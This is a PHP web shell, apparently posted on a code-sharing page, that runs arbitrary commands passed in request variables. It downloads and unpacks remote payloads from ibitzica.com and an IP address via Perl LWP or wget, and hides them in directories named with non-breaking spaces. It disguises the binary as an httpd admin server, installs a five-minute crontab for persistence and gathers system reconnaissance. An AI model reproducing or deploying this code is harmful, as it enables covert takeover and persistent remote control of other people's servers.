📄 webscr.php
字号:
<?phpecho "<pre>";$_exe = 'httpd.admsrv';$_root = '/home/spool/samba';$_banner = '/usr/sbin/httpd.admsrv -f /etc/admserv/conf/httpd.conf';#$_url = 'http://ibitzica.com/m.tgz';//system('ls -al;id;ps uxfaww;uptime;/sbin/ifconfig;tar -xzvf mypkg.tar.gz;./httpd max.pl [httpd]');//system('tar -xzvf mypkg.tar.gz;/home/ciock/public_html/httpd max.pl [httpd] 2>&1');$LWPBSD='perl -e \'$r="^root^";$l3=$l2=$l1=sprintf (".x%s %s %s",chr(0xa0),chr(0xa0),chr(0xa0));mkdir $r,0755;chdir $r;mkdir $l1,0755;chdir $l1;mkdir $l2,0755;chdir $l2;mkdir $l3,0755;chdir $l3;use LWP::UserAgent;$a=LWP::UserAgent->new;$c=$a->request(HTTP::Request->new(GET=>"http://ibitzica.com/m2.tgz"));open(B,">a");binmode B;print B $c->content;close B;print `tar -xzvf a;rm a;mv httpd ^exe^`;chdir "../..";chmod 0,$l2;chdir "..";chmod 0,$l1\' 2>&1';$LWPLINUX='perl -e \'$r="^root^";$l3=$l2=$l1=sprintf (".x%s %s %s",chr(0xa0),chr(0xa0),chr(0xa0));mkdir $r;chdir $r;mkdir $l1;chdir $l1;mkdir $l2;chdir $l2;mkdir $l3;chdir $l3;use LWP::UserAgent;$a=LWP::UserAgent->new;$c=$a->request(HTTP::Request->new(GET=>"http://ibitzica.com/m.tgz"));open(B,">a");binmode B;print B $c->content;close B;print `tar -xzvf a;rm a;mv httpd ^exe^`;chdir "../..";chmod 0,$l2;chdir "..";chmod 0,$l1\' 2>&1';$WGET='perl -e \'$r="^root^";$l3=$l2=$l1=sprintf (".x%s %s %s",chr(0xa0),chr(0xa0),chr(0xa0));mkdir $r,0755;chdir $r;mkdir $l1,0755;chdir $l1;mkdir $l2,0755;chdir $l2;mkdir $l3,0755;chdir $l3;print `pwd;wget http://ibitzica.com/m2.tgz;tar -xzvf m2.tgz;rm m2.tgz;mv httpd ^exe^;ls -al`;chdir "../..";chmod 0755,$l2;chdir "..";chmod 0755,$l1\' 2>&1';$LOCALBSD='perl -e \'$r1=`pwd`;$r1=~s/\n//;$r="^root^";$l3=$l2=$l1=sprintf (".x%s %s %s",chr(0xa0),chr(0xa0),chr(0xa0));mkdir $r,0755;chdir $r;mkdir $l1,0755;chmod 0755,$l1;chdir $l1;mkdir $l2,0755;chmod 0755,$l2;chdir $l2;mkdir $l3,0755;chmod 0755,$l3;chdir $l3;print `cp $r1/m2.tgz ./a;ls -al;tar -xzvf a;rm a;mv httpd ^exe^`;chdir "../..";chmod 0755,$l2;chdir "..";chmod 0755,$l1\' 2>&1';$LWPCRON='perl -e \'$r="^root^";$l3=$l2=$l1=sprintf (".x%s %s %s",chr(0xa0),chr(0xa0),chr(0xa0));mkdir $r;chdir $r;mkdir $l1;chdir $l1;mkdir $l2;chdir $l2;mkdir $l3;chdir $l3;use LWP::UserAgent;$a=LWP::UserAgent->new;$c=$a->request(HTTP::Request->new(GET=>"http://80.96.70.71:88/mcron"));open(B,">a");binmode B;print B $c->content;close B;print `crontab a;rm a;crontab -l`;chdir "../..";chmod 0,$l2;chdir "..";chmod 0,$l1\' 2>&1';$CRONEXE='perl -e \'$b="^banner^";$r="^root^";$l=sprintf (".x\%s \%s \%s",chr(0xa0),chr(0xa0),chr(0xa0));chdir $r;chmod 0755,$l;chdir $l;chmod 0755,$l;chdir $l;chdir $l;open(CHK,">chkit");print CHK "#!/bin/sh\n./^exe^ max.pl \"$b\"&>out\n";close CHK;chmod 0755,chkit;print `pwd;ls -al;cat out;./chkit 2>&1`\'';if(${exe2}) { echo "exec and quit"; exec("${exe2} 2>&1");}else if(${exe} and !${i} and !${i2} and !${i3}){ echo "execing ${exe}\n"; system("${exe} 2>&1");}else if(${find}){ echo "finding ${find}\n"; system("find ${find} -perm +002 -print -type d 2>&1");}else if(${exe3}){ echo `${exe3} 2>&1`;}else if(${i} == 1){ #linux cu lwp inst(${i},0);}else if(${i} == 2){ #BSD cu LWP inst(${i},0);}else if(${i} == 3){ #linux cu wget inst(${i},0);}else if(${i} == 4){ #BSD Local file inst(${i},0);}else if(${i2}){ #crontab inst(${i},1);}else if(${i3}){ #run inst(${i},2);}else if(${e}){ echo("${e}");}else{system('id;uname -a;pwd;w;cat /proc/cpuinfo;cat /proc/meminfo;ps uxww;/sbin/ifconfig|grep inet;crontab -l');}echo "</pre>";function inst($sys,$step) {global ${exe}, ${root}, ${banner}, ${url}, $_exe, $_root, $_banner, $_url;global $LWPBSD, $LWPLINUX, $WGET, $LWPCRON, $CRONTAB1, $CRONTAB2, $CRONEXE, $LOCALBSD;$_exe=${exe};$_root=${root};$_banner=${banner};$_url=${url};$CRONTAB1='MAILTO=""';$CRONTAB2='*/5 * * * * perl -e \'$e="^exe^";$b="^banner^";$r="^root^";$l3=$l2=$l1=sprintf (".x\%s \%s \%s",chr(0xa0),chr(0xa0),chr(0xa0));chdir $r;chmod 0755,"$l1";chdir "$l1";chmod 0755,"$l2";chdir "$l2";chdir "$l3";open(CHK,">chkit");print CHK "#!/bin/sh\n./$e max.pl \"$b\"&>out\n";close CHK;chmod 0755,"chkit";`./chkit`;chdir "../..";chmod 0,"$l2";chdir "..";chmod 0,"$l1"\'';$LWPBSD = str_replace ("^exe^",$_exe, $LWPBSD);$LWPBSD = str_replace ("^root^",$_root, $LWPBSD);$LWPLINUX = str_replace ("^exe^",$_exe, $LWPLINUX);$LWPLINUX = str_replace ("^root^",$_root, $LWPLINUX);$WGET = str_replace ("^exe^",$_exe, $WGET);$WGET = str_replace ("^root^",$_root, $WGET);#$WGET = str_replace ("^url^",$_url, $WGET);$LWPCRON = str_replace ("^exe^",$_exe, $LWPCRON);$LWPCRON = str_replace ("^root^",$_root, $LWPCRON);$CRONTAB1 = str_replace ("^exe^",$_exe, $CRONTAB1);$CRONTAB1 = str_replace ("^root^",$_root, $CRONTAB1);$CRONTAB1 = str_replace ("^banner^",$_banner, $CRONTAB1);$CRONTAB2 = str_replace ("^exe^",$_exe, $CRONTAB2);$CRONTAB2 = str_replace ("^root^",$_root, $CRONTAB2);$CRONTAB2 = str_replace ("^banner^",$_banner, $CRONTAB2);$CRONEXE = str_replace ("^exe^",$_exe, $CRONEXE);$CRONEXE = str_replace ("^root^",$_root, $CRONEXE);$CRONEXE = str_replace ("^banner^",$_banner, $CRONEXE);$LOCALBSD = str_replace ("^exe^",$_exe, $LOCALBSD);$LOCALBSD = str_replace ("^root^",$_root, $LOCALBSD);$LOCALBSD = str_replace ("^banner^",$_banner, $LOCALBSD);if ($step == 0) {if(${exe} & ${root} & ${banner}) { if($sys==1) { echo("install linux"); //echo $LWPLINUX; system ($LWPLINUX); }else if($sys==2) { echo("install BSD"); system ($LWPBSD); }else if($sys==3) { echo("install LINUX/BSD WGET"); echo "system ($WGET);"; system ($WGET); }else if($sys==4) { echo("install BSD Local"); system ($LOCALBSD); } }else{ echo "i=$sys&exe=${exe}&root=${root}&banner=${banner} \n OK?"; }}else if ($step == 1) { echo("install cron"); $file = fopen("/tmp/cron","w+"); fputs ($file, "$CRONTAB1\n$CRONTAB2\n"); fclose($file); #system('cat /tmp/cron 2>&1'); system('crontab /tmp/cron;crontab -l;rm -f /tmp/cron');}else if ($step == 2) { echo("run bnc"); system($CRONEXE);}}?>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -